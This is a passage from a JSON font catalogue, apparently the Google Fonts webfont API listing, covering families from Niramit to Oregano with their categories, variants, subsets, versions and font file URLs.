"http://fonts.gstatic.com/s/niramit/v4/I_uuMpWdvgLdNxVLbbRQkiCvs5Y.ttf", "italic": "http://fonts.gstatic.com/s/niramit/v4/I_usMpWdvgLdNxVLXbZalgKqo5bYbA.ttf", "500italic": "http://fonts.gstatic.com/s/niramit/v4/I_upMpWdvgLdNxVLXbZiYiuOq73EZZ_f6w.ttf", "600italic": "http://fonts.gstatic.com/s/niramit/v4/I_upMpWdvgLdNxVLXbZiTiyOq73EZZ_f6w.ttf", "700italic": "http://fonts.gstatic.com/s/niramit/v4/I_upMpWdvgLdNxVLXbZiKi2Oq73EZZ_f6w.ttf" } }, { "kind": "webfonts#webfont", "family": "Nixie One", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/nixieone/v10/lW-8wjkKLXjg5y2o2uUoUOFzpS-yLw.ttf" } }, { "kind": "webfonts#webfont", "family": "Nobile", "category": "sans-serif", "variants": [ "regular", "italic", "500", "500italic", "700", "700italic" ], "subsets": [ "latin", "latin-ext" ], "version": "v11", "lastModified": "2019-07-16", "files": { "500": "http://fonts.gstatic.com/s/nobile/v11/m8JQjflSeaOVl1iOqo7zcJ5BZmqa3A.ttf", "700": "http://fonts.gstatic.com/s/nobile/v11/m8JQjflSeaOVl1iO4ojzcJ5BZmqa3A.ttf", "regular": "http://fonts.gstatic.com/s/nobile/v11/m8JTjflSeaOVl1i2XqfXeLVdbw.ttf", "italic": "http://fonts.gstatic.com/s/nobile/v11/m8JRjflSeaOVl1iGXK3TWrBNb3OD.ttf", "500italic": "http://fonts.gstatic.com/s/nobile/v11/m8JWjflSeaOVl1iGXJUnc5RFRG-K3Mud.ttf", "700italic": "http://fonts.gstatic.com/s/nobile/v11/m8JWjflSeaOVl1iGXJVvdZRFRG-K3Mud.ttf" } }, { "kind": "webfonts#webfont", "family": "Nokora", "category": "serif", "variants": [ "regular", "700" ], "subsets": [ "khmer" ], "version": "v13", "lastModified": "2019-07-16", "files": { "700": "http://fonts.gstatic.com/s/nokora/v13/hYkLPuwgTubzaWxohxUrqt18-B9Uuw.ttf", "regular": "http://fonts.gstatic.com/s/nokora/v13/hYkIPuwgTubzaWxQOzoPovZg8Q.ttf" } }, { "kind": "webfonts#webfont", "family": "Norican", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/norican/v8/MwQ2bhXp1eSBqjkPGJJRtGs-lbA.ttf" } }, { "kind": "webfonts#webfont", "family": "Nosifer", "category": "display", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/nosifer/v8/ZGjXol5JTp0g5bxZaC1RVDNdGDs.ttf" } }, { "kind": "webfonts#webfont", "family": "Notable", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v4", "lastModified": "2019-11-05", "files": { "regular": "http://fonts.gstatic.com/s/notable/v4/gNMEW3N_SIqx-WX9-HMoFIez5MI.ttf" } }, { "kind": "webfonts#webfont", "family": "Nothing You Could Do", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/nothingyoucoulddo/v9/oY1B8fbBpaP5OX3DtrRYf_Q2BPB1SnfZb0OJl1ol2Ymo.ttf" } }, { "kind": "webfonts#webfont", "family": "Noticia Text", "category": "serif", "variants": [ "regular", "italic", "700", "700italic" ], "subsets": [ "latin", "latin-ext", "vietnamese" ], "version": "v9", "lastModified": "2019-07-17", "files": { "700": "http://fonts.gstatic.com/s/noticiatext/v9/VuJpdNDF2Yv9qppOePKYRP1-3R59v2HRrDH0eA.ttf", "regular": "http://fonts.gstatic.com/s/noticiatext/v9/VuJ2dNDF2Yv9qppOePKYRP1GYTFZt0rNpQ.ttf", "italic": "http://fonts.gstatic.com/s/noticiatext/v9/VuJodNDF2Yv9qppOePKYRP12YztdlU_dpSjt.ttf", "700italic": "http://fonts.gstatic.com/s/noticiatext/v9/VuJrdNDF2Yv9qppOePKYRP12YwPhumvVjjTkeMnz.ttf" } }, { "kind": "webfonts#webfont", "family": "Noto Sans", "category": "sans-serif", "variants": [ "regular", "italic", "700", "700italic" ], "subsets": [ "cyrillic", "cyrillic-ext", "devanagari", "greek", "greek-ext", "latin", "latin-ext", "vietnamese" ], "version": "v9", "lastModified": "2019-07-22", "files": { "700": "http://fonts.gstatic.com/s/notosans/v9/o-0NIpQlx3QUlC5A4PNjXhFlY9aA5Wl6PQ.ttf", "regular": "http://fonts.gstatic.com/s/notosans/v9/o-0IIpQlx3QUlC5A4PNb4j5Ba_2c7A.ttf", "italic": "http://fonts.gstatic.com/s/notosans/v9/o-0OIpQlx3QUlC5A4PNr4DRFSfiM7HBj.ttf", "700italic": "http://fonts.gstatic.com/s/notosans/v9/o-0TIpQlx3QUlC5A4PNr4Az5ZtyEx2xqPaif.ttf" } }, { "kind": "webfonts#webfont", "family": "Noto Sans HK", "category": "sans-serif", "variants": [ "100", "300", "regular", "500", "700", "900" ], "subsets": [ "chinese-hongkong", "latin" ], "version": "v5", "lastModified": "2019-07-16", "files": { "100": "http://fonts.gstatic.com/s/notosanshk/v5/nKKO-GM_FYFRJvXzVXaAPe9ZUHp1MOv2ObB7.otf", "300": "http://fonts.gstatic.com/s/notosanshk/v5/nKKP-GM_FYFRJvXzVXaAPe9ZmFhTHMX6MKliqQ.otf", "500": "http://fonts.gstatic.com/s/notosanshk/v5/nKKP-GM_FYFRJvXzVXaAPe9ZwFlTHMX6MKliqQ.otf", "700": "http://fonts.gstatic.com/s/notosanshk/v5/nKKP-GM_FYFRJvXzVXaAPe9ZiF9THMX6MKliqQ.otf", "900": "http://fonts.gstatic.com/s/notosanshk/v5/nKKP-GM_FYFRJvXzVXaAPe9ZsF1THMX6MKliqQ.otf", "regular": "http://fonts.gstatic.com/s/notosanshk/v5/nKKQ-GM_FYFRJvXzVXaAPe9hMnB3Eu7mOQ.otf" } }, { "kind": "webfonts#webfont", "family": "Noto Sans JP", "category": "sans-serif", "variants": [ "100", "300", "regular", "500", "700", "900" ], "subsets": [ "japanese", "latin" ], "version": "v25", "lastModified": "2020-03-05", "files": { "100": "http://fonts.gstatic.com/s/notosansjp/v25/-F6ofjtqLzI2JPCgQBnw7HFQoggM-FNthvIU.otf", "300": "http://fonts.gstatic.com/s/notosansjp/v25/-F6pfjtqLzI2JPCgQBnw7HFQaioq1H1hj-sNFQ.otf", "500": "http://fonts.gstatic.com/s/notosansjp/v25/-F6pfjtqLzI2JPCgQBnw7HFQMisq1H1hj-sNFQ.otf", "700": "http://fonts.gstatic.com/s/notosansjp/v25/-F6pfjtqLzI2JPCgQBnw7HFQei0q1H1hj-sNFQ.otf", "900": "http://fonts.gstatic.com/s/notosansjp/v25/-F6pfjtqLzI2JPCgQBnw7HFQQi8q1H1hj-sNFQ.otf", "regular": "http://fonts.gstatic.com/s/notosansjp/v25/-F62fjtqLzI2JPCgQBnw7HFowAIO2lZ9hg.otf" } }, { "kind": "webfonts#webfont", "family": "Noto Sans KR", "category": "sans-serif", "variants": [ "100", "300", "regular", "500", "700", "900" ], "subsets": [ "korean", "latin" ], "version": "v12", "lastModified": "2019-07-22", "files": { "100": "http://fonts.gstatic.com/s/notosanskr/v12/Pby6FmXiEBPT4ITbgNA5CgmOsn7uwpYcuH8y.otf", "300": "http://fonts.gstatic.com/s/notosanskr/v12/Pby7FmXiEBPT4ITbgNA5CgmOelzI7rgQsWYrzw.otf", "500": "http://fonts.gstatic.com/s/notosanskr/v12/Pby7FmXiEBPT4ITbgNA5CgmOIl3I7rgQsWYrzw.otf", "700": "http://fonts.gstatic.com/s/notosanskr/v12/Pby7FmXiEBPT4ITbgNA5CgmOalvI7rgQsWYrzw.otf", "900": "http://fonts.gstatic.com/s/notosanskr/v12/Pby7FmXiEBPT4ITbgNA5CgmOUlnI7rgQsWYrzw.otf", "regular": "http://fonts.gstatic.com/s/notosanskr/v12/PbykFmXiEBPT4ITbgNA5Cgm20HTs4JMMuA.otf" } }, { "kind": "webfonts#webfont", "family": "Noto Sans SC", "category": "sans-serif", "variants": [ "100", "300", "regular", "500", "700", "900" ], "subsets": [ "chinese-simplified", "latin" ], "version": "v11", "lastModified": "2020-03-05", "files": { "100": "http://fonts.gstatic.com/s/notosanssc/v11/k3kJo84MPvpLmixcA63oeALZTYKL2wv287Sb.otf", "300": "http://fonts.gstatic.com/s/notosanssc/v11/k3kIo84MPvpLmixcA63oeALZhaCt9yX6-q2CGg.otf", "500": "http://fonts.gstatic.com/s/notosanssc/v11/k3kIo84MPvpLmixcA63oeALZ3aGt9yX6-q2CGg.otf", "700": "http://fonts.gstatic.com/s/notosanssc/v11/k3kIo84MPvpLmixcA63oeALZlaet9yX6-q2CGg.otf", "900": "http://fonts.gstatic.com/s/notosanssc/v11/k3kIo84MPvpLmixcA63oeALZraWt9yX6-q2CGg.otf", "regular": "http://fonts.gstatic.com/s/notosanssc/v11/k3kXo84MPvpLmixcA63oeALhL4iJ-Q7m8w.otf" } }, { "kind": "webfonts#webfont", "family": "Noto Sans TC", "category": "sans-serif", "variants": [ "100", "300", "regular", "500", "700", "900" ], "subsets": [ "chinese-traditional", "latin" ], "version": "v10", "lastModified": "2020-03-05", "files": { "100": "http://fonts.gstatic.com/s/notosanstc/v10/-nFlOG829Oofr2wohFbTp9i9WyEJIfNZ1sjy.otf", "300": "http://fonts.gstatic.com/s/notosanstc/v10/-nFkOG829Oofr2wohFbTp9i9kwMvDd1V39Hr7g.otf", "500": "http://fonts.gstatic.com/s/notosanstc/v10/-nFkOG829Oofr2wohFbTp9i9ywIvDd1V39Hr7g.otf", "700": "http://fonts.gstatic.com/s/notosanstc/v10/-nFkOG829Oofr2wohFbTp9i9gwQvDd1V39Hr7g.otf", "900": "http://fonts.gstatic.com/s/notosanstc/v10/-nFkOG829Oofr2wohFbTp9i9uwYvDd1V39Hr7g.otf", "regular": "http://fonts.gstatic.com/s/notosanstc/v10/-nF7OG829Oofr2wohFbTp9iFOSsLA_ZJ1g.otf" } }, { "kind": "webfonts#webfont", "family": "Noto Serif", "category": "serif", "variants": [ "regular", "italic", "700", "700italic" ], "subsets": [ "cyrillic", "cyrillic-ext", "greek", "greek-ext", "latin", "latin-ext", "vietnamese" ], "version": "v8", "lastModified": "2019-07-22", "files": { "700": "http://fonts.gstatic.com/s/notoserif/v8/ga6Law1J5X9T9RW6j9bNdOwzTRCUcM1IKoY.ttf", "regular": "http://fonts.gstatic.com/s/notoserif/v8/ga6Iaw1J5X9T9RW6j9bNTFAcaRi_bMQ.ttf", "italic": "http://fonts.gstatic.com/s/notoserif/v8/ga6Kaw1J5X9T9RW6j9bNfFIWbTq6fMRRMw.ttf", "700italic": "http://fonts.gstatic.com/s/notoserif/v8/ga6Vaw1J5X9T9RW6j9bNfFIu0RWedO9NOoYIDg.ttf" } }, { "kind": "webfonts#webfont", "family": "Noto Serif JP", "category": "serif", "variants": [ "200", "300", "regular", "500", "600", "700", "900" ], "subsets": [ "japanese", "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "200": "http://fonts.gstatic.com/s/notoserifjp/v7/xn77YHs72GKoTvER4Gn3b5eMZBaPRkgfU8fEwb0.otf", "300": "http://fonts.gstatic.com/s/notoserifjp/v7/xn77YHs72GKoTvER4Gn3b5eMZHKMRkgfU8fEwb0.otf", "500": "http://fonts.gstatic.com/s/notoserifjp/v7/xn77YHs72GKoTvER4Gn3b5eMZCqNRkgfU8fEwb0.otf", "600": "http://fonts.gstatic.com/s/notoserifjp/v7/xn77YHs72GKoTvER4Gn3b5eMZAaKRkgfU8fEwb0.otf", "700": "http://fonts.gstatic.com/s/notoserifjp/v7/xn77YHs72GKoTvER4Gn3b5eMZGKLRkgfU8fEwb0.otf", "900": "http://fonts.gstatic.com/s/notoserifjp/v7/xn77YHs72GKoTvER4Gn3b5eMZFqJRkgfU8fEwb0.otf", "regular": "http://fonts.gstatic.com/s/notoserifjp/v7/xn7mYHs72GKoTvER4Gn3b5eMXNikYkY0T84.otf" } }, { "kind": "webfonts#webfont", "family": "Noto Serif KR", "category": "serif", "variants": [ "200", "300", "regular", "500", "600", "700", "900" ], "subsets": [ "korean", "latin" ], "version": "v6", "lastModified": "2019-07-16", "files": { "200": "http://fonts.gstatic.com/s/notoserifkr/v6/3JnmSDn90Gmq2mr3blnHaTZXTihC8O1ZNH1ahck.otf", "300": "http://fonts.gstatic.com/s/notoserifkr/v6/3JnmSDn90Gmq2mr3blnHaTZXTkxB8O1ZNH1ahck.otf", "500": "http://fonts.gstatic.com/s/notoserifkr/v6/3JnmSDn90Gmq2mr3blnHaTZXThRA8O1ZNH1ahck.otf", "600": "http://fonts.gstatic.com/s/notoserifkr/v6/3JnmSDn90Gmq2mr3blnHaTZXTjhH8O1ZNH1ahck.otf", "700": "http://fonts.gstatic.com/s/notoserifkr/v6/3JnmSDn90Gmq2mr3blnHaTZXTlxG8O1ZNH1ahck.otf", "900": "http://fonts.gstatic.com/s/notoserifkr/v6/3JnmSDn90Gmq2mr3blnHaTZXTmRE8O1ZNH1ahck.otf", "regular": "http://fonts.gstatic.com/s/notoserifkr/v6/3Jn7SDn90Gmq2mr3blnHaTZXduZp1ONyKHQ.otf" } }, { "kind": "webfonts#webfont", "family": "Noto Serif SC", "category": "serif", "variants": [ "200", "300", "regular", "500", "600", "700", "900" ], "subsets": [ "chinese-simplified", "latin" ], "version": "v7", "lastModified": "2020-01-30", "files": { "200": "http://fonts.gstatic.com/s/notoserifsc/v7/H4c8BXePl9DZ0Xe7gG9cyOj7mm63SzZBEtERe7U.otf", "300": "http://fonts.gstatic.com/s/notoserifsc/v7/H4c8BXePl9DZ0Xe7gG9cyOj7mgq0SzZBEtERe7U.otf", "500": "http://fonts.gstatic.com/s/notoserifsc/v7/H4c8BXePl9DZ0Xe7gG9cyOj7mlK1SzZBEtERe7U.otf", "600": "http://fonts.gstatic.com/s/notoserifsc/v7/H4c8BXePl9DZ0Xe7gG9cyOj7mn6ySzZBEtERe7U.otf", "700": "http://fonts.gstatic.com/s/notoserifsc/v7/H4c8BXePl9DZ0Xe7gG9cyOj7mhqzSzZBEtERe7U.otf", "900": "http://fonts.gstatic.com/s/notoserifsc/v7/H4c8BXePl9DZ0Xe7gG9cyOj7miKxSzZBEtERe7U.otf", "regular": "http://fonts.gstatic.com/s/notoserifsc/v7/H4chBXePl9DZ0Xe7gG9cyOj7oqCcbzhqDtg.otf" } }, { "kind": "webfonts#webfont", "family": "Noto Serif TC", "category": "serif", "variants": [ "200", "300", "regular", "500", "600", "700", "900" ], "subsets": [ "chinese-traditional", "latin" ], "version": "v7", "lastModified": "2020-01-30", "files": { "200": "http://fonts.gstatic.com/s/notoseriftc/v7/XLY9IZb5bJNDGYxLBibeHZ0Bvr8vbX9GTsoOAX4.otf", "300": "http://fonts.gstatic.com/s/notoseriftc/v7/XLY9IZb5bJNDGYxLBibeHZ0BvtssbX9GTsoOAX4.otf", "500": "http://fonts.gstatic.com/s/notoseriftc/v7/XLY9IZb5bJNDGYxLBibeHZ0BvoMtbX9GTsoOAX4.otf", "600": "http://fonts.gstatic.com/s/notoseriftc/v7/XLY9IZb5bJNDGYxLBibeHZ0Bvq8qbX9GTsoOAX4.otf", "700": "http://fonts.gstatic.com/s/notoseriftc/v7/XLY9IZb5bJNDGYxLBibeHZ0BvssrbX9GTsoOAX4.otf", "900": "http://fonts.gstatic.com/s/notoseriftc/v7/XLY9IZb5bJNDGYxLBibeHZ0BvvMpbX9GTsoOAX4.otf", "regular": "http://fonts.gstatic.com/s/notoseriftc/v7/XLYgIZb5bJNDGYxLBibeHZ0BhnEESXFtUsM.otf" } }, { "kind": "webfonts#webfont", "family": "Nova Cut", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v11", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/novacut/v11/KFOkCnSYu8mL-39LkWxPKTM1K9nz.ttf" } }, { "kind": "webfonts#webfont", "family": "Nova Flat", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v11", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/novaflat/v11/QdVUSTc-JgqpytEbVebEuStkm20oJA.ttf" } }, { "kind": "webfonts#webfont", "family": "Nova Mono", "category": "monospace", "variants": [ "regular" ], "subsets": [ "greek", "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/novamono/v10/Cn-0JtiGWQ5Ajb--MRKfYGxYrdM9Sg.ttf" } }, { "kind": "webfonts#webfont", "family": "Nova Oval", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v11", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/novaoval/v11/jAnEgHdmANHvPenMaswCMY-h3cWkWg.ttf" } }, { "kind": "webfonts#webfont", "family": "Nova Round", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v11", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/novaround/v11/flU9Rqquw5UhEnlwTJYTYYfeeetYEBc.ttf" } }, { "kind": "webfonts#webfont", "family": "Nova Script", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v12", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/novascript/v12/7Au7p_IpkSWSTWaFWkumvmQNEl0O0kEx.ttf" } }, { "kind": "webfonts#webfont", "family": "Nova Slim", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v11", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/novaslim/v11/Z9XUDmZNQAuem8jyZcn-yMOInrib9Q.ttf" } }, { "kind": "webfonts#webfont", "family": "Nova Square", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v12", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/novasquare/v12/RrQUbo9-9DV7b06QHgSWsZhARYMgGtWA.ttf" } }, { "kind": "webfonts#webfont", "family": "Numans", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/numans/v9/SlGRmQmGupYAfH8IYRggiHVqaQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Nunito", "category": "sans-serif", "variants": [ "200", "200italic", "300", "300italic", "regular", "italic", "600", "600italic", "700", "700italic", "800", "800italic", "900", "900italic" ], "subsets": [ "cyrillic", "cyrillic-ext", "latin", "latin-ext", "vietnamese" ], "version": "v12", "lastModified": "2019-11-14", "files": { "200": "http://fonts.gstatic.com/s/nunito/v12/XRXW3I6Li01BKofA-sekZuHJeTsfDQ.ttf", "300": "http://fonts.gstatic.com/s/nunito/v12/XRXW3I6Li01BKofAnsSkZuHJeTsfDQ.ttf", "600": "http://fonts.gstatic.com/s/nunito/v12/XRXW3I6Li01BKofA6sKkZuHJeTsfDQ.ttf", "700": "http://fonts.gstatic.com/s/nunito/v12/XRXW3I6Li01BKofAjsOkZuHJeTsfDQ.ttf", "800": "http://fonts.gstatic.com/s/nunito/v12/XRXW3I6Li01BKofAksCkZuHJeTsfDQ.ttf", "900": "http://fonts.gstatic.com/s/nunito/v12/XRXW3I6Li01BKofAtsGkZuHJeTsfDQ.ttf", "200italic": "http://fonts.gstatic.com/s/nunito/v12/XRXQ3I6Li01BKofIMN5MZ-vNWz4PDWtj.ttf", "300italic": "http://fonts.gstatic.com/s/nunito/v12/XRXQ3I6Li01BKofIMN4oZOvNWz4PDWtj.ttf", "regular": "http://fonts.gstatic.com/s/nunito/v12/XRXV3I6Li01BKof4MuyAbsrVcA.ttf", "italic": "http://fonts.gstatic.com/s/nunito/v12/XRXX3I6Li01BKofIMOaETM_FcCIG.ttf", "600italic": "http://fonts.gstatic.com/s/nunito/v12/XRXQ3I6Li01BKofIMN5cYuvNWz4PDWtj.ttf", "700italic": "http://fonts.gstatic.com/s/nunito/v12/XRXQ3I6Li01BKofIMN44Y-vNWz4PDWtj.ttf", "800italic": "http://fonts.gstatic.com/s/nunito/v12/XRXQ3I6Li01BKofIMN4kYOvNWz4PDWtj.ttf", "900italic": "http://fonts.gstatic.com/s/nunito/v12/XRXQ3I6Li01BKofIMN4AYevNWz4PDWtj.ttf" } }, { "kind": "webfonts#webfont", "family": "Nunito Sans", "category": "sans-serif", "variants": [ "200", "200italic", "300", "300italic", "regular", "italic", "600", "600italic", "700", "700italic", "800", "800italic", "900", "900italic" ], "subsets": [ "latin", "latin-ext", "vietnamese" ], "version": "v5", "lastModified": "2019-07-22", "files": { "200": "http://fonts.gstatic.com/s/nunitosans/v5/pe03MImSLYBIv1o4X1M8cc9yAv5qWVAgVol-.ttf", "300": "http://fonts.gstatic.com/s/nunitosans/v5/pe03MImSLYBIv1o4X1M8cc8WAf5qWVAgVol-.ttf", "600": "http://fonts.gstatic.com/s/nunitosans/v5/pe03MImSLYBIv1o4X1M8cc9iB_5qWVAgVol-.ttf", "700": "http://fonts.gstatic.com/s/nunitosans/v5/pe03MImSLYBIv1o4X1M8cc8GBv5qWVAgVol-.ttf", "800": "http://fonts.gstatic.com/s/nunitosans/v5/pe03MImSLYBIv1o4X1M8cc8aBf5qWVAgVol-.ttf", "900": "http://fonts.gstatic.com/s/nunitosans/v5/pe03MImSLYBIv1o4X1M8cc8-BP5qWVAgVol-.ttf", "200italic": "http://fonts.gstatic.com/s/nunitosans/v5/pe01MImSLYBIv1o4X1M8cce4GxZrU1QCU5l-06Y.ttf", "300italic": "http://fonts.gstatic.com/s/nunitosans/v5/pe01MImSLYBIv1o4X1M8cce4G3JoU1QCU5l-06Y.ttf", "regular": "http://fonts.gstatic.com/s/nunitosans/v5/pe0qMImSLYBIv1o4X1M8cfe6Kdpickwp.ttf", "italic": "http://fonts.gstatic.com/s/nunitosans/v5/pe0oMImSLYBIv1o4X1M8cce4I95Ad1wpT5A.ttf", "600italic": "http://fonts.gstatic.com/s/nunitosans/v5/pe01MImSLYBIv1o4X1M8cce4GwZuU1QCU5l-06Y.ttf", "700italic": "http://fonts.gstatic.com/s/nunitosans/v5/pe01MImSLYBIv1o4X1M8cce4G2JvU1QCU5l-06Y.ttf", "800italic": "http://fonts.gstatic.com/s/nunitosans/v5/pe01MImSLYBIv1o4X1M8cce4G35sU1QCU5l-06Y.ttf", "900italic": "http://fonts.gstatic.com/s/nunitosans/v5/pe01MImSLYBIv1o4X1M8cce4G1ptU1QCU5l-06Y.ttf" } }, { "kind": "webfonts#webfont", "family": "Odibee Sans", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v1", "lastModified": "2020-03-03", "files": { "regular": "http://fonts.gstatic.com/s/odibeesans/v1/neIPzCSooYAho6WvjeToRYkyepH9qGsf.ttf" } }, { "kind": "webfonts#webfont", "family": "Odor Mean Chey", "category": "display", "variants": [ "regular" ], "subsets": [ "khmer" ], "version": "v11", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/odormeanchey/v11/raxkHiKDttkTe1aOGcJMR1A_4mrY2zqUKafv.ttf" } }, { "kind": "webfonts#webfont", "family": "Offside", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/offside/v7/HI_KiYMWKa9QrAykQ5HiRp-dhpQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Old Standard TT", "category": "serif", "variants": [ "regular", "italic", "700" ], "subsets": [ "cyrillic", "cyrillic-ext", "latin", "latin-ext", "vietnamese" ], "version": "v12", "lastModified": "2019-07-17", "files": { "700": "http://fonts.gstatic.com/s/oldstandardtt/v12/MwQrbh3o1vLImiwAVvYawgcf2eVWEX-dTFxeb80flQ.ttf", "regular": "http://fonts.gstatic.com/s/oldstandardtt/v12/MwQubh3o1vLImiwAVvYawgcf2eVurVC5RHdCZg.ttf", "italic": "http://fonts.gstatic.com/s/oldstandardtt/v12/MwQsbh3o1vLImiwAVvYawgcf2eVer1q9ZnJSZtQG.ttf" } }, { "kind": "webfonts#webfont", "family": "Oldenburg", "category": "display", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/oldenburg/v7/fC1jPY5JYWzbywv7c4V6UU6oXyndrw.ttf" } }, { "kind": "webfonts#webfont", "family": "Oleo Script", "category": "display", "variants": [ "regular", "700" ], "subsets": [ "latin", "latin-ext" ], "version": "v8", "lastModified": "2019-07-16", "files": { "700": "http://fonts.gstatic.com/s/oleoscript/v8/raxkHieDvtMOe0iICsUccCDmnmrY2zqUKafv.ttf", "regular": "http://fonts.gstatic.com/s/oleoscript/v8/rax5HieDvtMOe0iICsUccBhasU7Q8Cad.ttf" } }, { "kind": "webfonts#webfont", "family": "Oleo Script Swash Caps", "category": "display", "variants": [ "regular", "700" ], "subsets": [ "latin", "latin-ext" ], "version": "v7", "lastModified": "2019-07-16", "files": { "700": "http://fonts.gstatic.com/s/oleoscriptswashcaps/v7/Noag6Vb-w5SFbTTAsZP_7JkCS08K-jCzDn_HCcaBbYUsn9T5dt0.ttf", "regular": "http://fonts.gstatic.com/s/oleoscriptswashcaps/v7/Noaj6Vb-w5SFbTTAsZP_7JkCS08K-jCzDn_HMXquSY0Hg90.ttf" } }, { "kind": "webfonts#webfont", "family": "Open Sans", "category": "sans-serif", "variants": [ "300", "300italic", "regular", "italic", "600", "600italic", "700", "700italic", "800", "800italic" ], "subsets": [ "cyrillic", "cyrillic-ext", "greek", "greek-ext", "latin", "latin-ext", "vietnamese" ], "version": "v17", "lastModified": "2019-07-23", "files": { "300": "http://fonts.gstatic.com/s/opensans/v17/mem5YaGs126MiZpBA-UN_r8-VeJoCqeDjg.ttf", "600": "http://fonts.gstatic.com/s/opensans/v17/mem5YaGs126MiZpBA-UNirk-VeJoCqeDjg.ttf", "700": "http://fonts.gstatic.com/s/opensans/v17/mem5YaGs126MiZpBA-UN7rg-VeJoCqeDjg.ttf", "800": "http://fonts.gstatic.com/s/opensans/v17/mem5YaGs126MiZpBA-UN8rs-VeJoCqeDjg.ttf", "300italic": "http://fonts.gstatic.com/s/opensans/v17/memnYaGs126MiZpBA-UFUKWyV-hsKKKTjrPW.ttf", "regular": "http://fonts.gstatic.com/s/opensans/v17/mem8YaGs126MiZpBA-U1UpcaXcl0Aw.ttf", "italic": "http://fonts.gstatic.com/s/opensans/v17/mem6YaGs126MiZpBA-UFUJ0ef8xkA76a.ttf", "600italic": "http://fonts.gstatic.com/s/opensans/v17/memnYaGs126MiZpBA-UFUKXGUehsKKKTjrPW.ttf", "700italic": "http://fonts.gstatic.com/s/opensans/v17/memnYaGs126MiZpBA-UFUKWiUOhsKKKTjrPW.ttf", "800italic": "http://fonts.gstatic.com/s/opensans/v17/memnYaGs126MiZpBA-UFUKW-U-hsKKKTjrPW.ttf" } }, { "kind": "webfonts#webfont", "family": "Open Sans Condensed", "category": "sans-serif", "variants": [ "300", "300italic", "700" ], "subsets": [ "cyrillic", "cyrillic-ext", "greek", "greek-ext", "latin", "latin-ext", "vietnamese" ], "version": "v14", "lastModified": "2019-07-22", "files": { "300": "http://fonts.gstatic.com/s/opensanscondensed/v14/z7NFdQDnbTkabZAIOl9il_O6KJj73e7Ff1GhPuLGRpWRyAs.ttf", "700": "http://fonts.gstatic.com/s/opensanscondensed/v14/z7NFdQDnbTkabZAIOl9il_O6KJj73e7Ff0GmPuLGRpWRyAs.ttf", "300italic": "http://fonts.gstatic.com/s/opensanscondensed/v14/z7NHdQDnbTkabZAIOl9il_O6KJj73e7Fd_-7suDMQreU2AsJSg.ttf" } }, { "kind": "webfonts#webfont", "family": "Oranienbaum", "category": "serif", "variants": [ "regular" ], "subsets": [ "cyrillic", "cyrillic-ext", "latin", "latin-ext" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/oranienbaum/v8/OZpHg_txtzZKMuXLIVrx-3zn7kz3dpHc.ttf" } }, { "kind": "webfonts#webfont", "family": "Orbitron", "category": "sans-serif", "variants": [ "regular", "500", "600", "700", "800", "900" ], "subsets": [ "latin" ], "version": "v15", "lastModified": "2020-02-05", "files": { "500": "http://fonts.gstatic.com/s/orbitron/v15/yMJMMIlzdpvBhQQL_SC3X9yhF25-T1nyKS6xpmIyXjU1pg.ttf", "600": "http://fonts.gstatic.com/s/orbitron/v15/yMJMMIlzdpvBhQQL_SC3X9yhF25-T1nyxSmxpmIyXjU1pg.ttf", "700": "http://fonts.gstatic.com/s/orbitron/v15/yMJMMIlzdpvBhQQL_SC3X9yhF25-T1ny_CmxpmIyXjU1pg.ttf", "800": "http://fonts.gstatic.com/s/orbitron/v15/yMJMMIlzdpvBhQQL_SC3X9yhF25-T1nymymxpmIyXjU1pg.ttf", "900": "http://fonts.gstatic.com/s/orbitron/v15/yMJMMIlzdpvBhQQL_SC3X9yhF25-T1nysimxpmIyXjU1pg.ttf", "regular": "http://fonts.gstatic.com/s/orbitron/v15/yMJMMIlzdpvBhQQL_SC3X9yhF25-T1nyGy6xpmIyXjU1pg.ttf" } }, { "kind": "webfonts#webfont", "family": "Oregano", "category": "display", "variants": [ "regular", "italic" ], "subsets": [ "latin", "latin-ext" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/oregano/v7/If2IXTPxciS3H4S2kZffPznO3yM.ttf", "italic": 